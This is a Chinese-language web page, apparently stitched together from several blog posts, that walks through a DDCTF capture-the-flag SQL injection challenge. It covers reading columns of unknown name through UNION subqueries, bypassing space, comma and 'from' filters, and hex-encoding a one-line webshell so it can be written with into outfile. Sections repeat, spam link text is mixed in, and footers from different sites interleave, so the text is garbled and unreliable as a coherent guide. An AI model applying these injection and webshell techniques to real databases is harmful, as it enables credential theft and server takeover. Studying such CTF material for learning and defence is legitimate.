前言

Mysql如何巧妙的绕过未知字段名详解,mysql字段详解

前言

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

ca88会员登录入口,存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | [email protected] |
| 2 | test | test123 | [email protected] |
| 3 | cs | cs123 | [email protected] |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| [email protected] |
| [email protected] |
| [email protected] |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4   |
+-------------+
| [email protected] |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | [email protected] |
| [email protected] | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对帮客之家的支持。

前言
本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路…

首先来看GIF操作:

本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

ca88会员登录入口 1

实现思路

情况一:空格被过滤

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

使用括号()代替空格,任何可以计算出结果的语句,都可以用括号包围起来;

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

select * from(users)where id=1;

思想就是获取flag,让其在已知字段名下出现;

使用注释/**/绕过空格;

示例代码:

select * from/**/users/**/where id=1;
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
+---+-------+----------+-------------+
| 1 | 2  | 3  | 4   |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4   |
+-------------+
| 4   |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4   |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id   | username | password | email  |
+-------------+----------+----------+-------------+
| 1   | admin | admin888 | 110@110.com |
| 120@120.com | 1  | 1  | 1   |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)

情况二:限制from与某种字符组合

总结

在from后加个点.即使用from.来代替from;

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

select * from. users where id=1;

您可能感兴趣的文章:

  • 防止xss和sql注入:JS特殊字符过滤正则
  • 一个过滤重复数据的 SQL 语句
  • MySQL注入绕开过滤的技巧总结
  • SQL注入中绕过 单引号
    限制继续注入
  • SQL注入绕过的技巧总结
  • 多列复合索引的使用 绕过微软sql
    server的一个缺陷
  • 关于SQL注入绕过的一些知识点
  • SQL
    Server简单模式下误删除堆表记录恢复方法(绕过页眉校验)
  • SQL注入技巧之显注与盲注中过滤逗号绕过详析

再直接看GIF:

ca88会员登录入口 2

说白了,就是将‘字段名 ‘替换成hex

这里会联想到开始学SQL注入的时候,利用load_file或者into outfile,常用hex把一句话编码一下再导入;

这里确实省去了’单/双引号’,万无一失(magic_quotes_gpc()咱不提);

但当时只顾着看结果了,今天在整理以前的资料时发现了这个问题,脑子却晕的不知道为啥这么编码,实际操作一下:

ca88会员登录入口 3

可以很清楚看到报错,select后面的第一个’单引号,和一句话木马里cmd前那个单引号闭合导致后面语句报错;

然后转成hex,去掉引号,发现可以写入;

这里我的机子没给他权限,会提示不能写,实际还得看情况;

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。

您可能感兴趣的文章:

  • 防止xss和sql注入:JS特殊字符过滤正则
  • 一个过滤重复数据的 SQL 语句
  • SQL注入中绕过 单引号
    限制继续注入
  • SQL注入绕过的技巧总结
  • 多列复合索引的使用 绕过微软sql
    server的一个缺陷
  • 关于SQL注入绕过的一些知识点
  • SQL
    Server简单模式下误删除堆表记录恢复方法(绕过页眉校验)
  • Mysql如何巧妙的绕过未知字段名详解
  • SQL注入技巧之显注与盲注中过滤逗号绕过详析

Author

发表评论

电子邮件地址不会被公开。 必填项已用*标注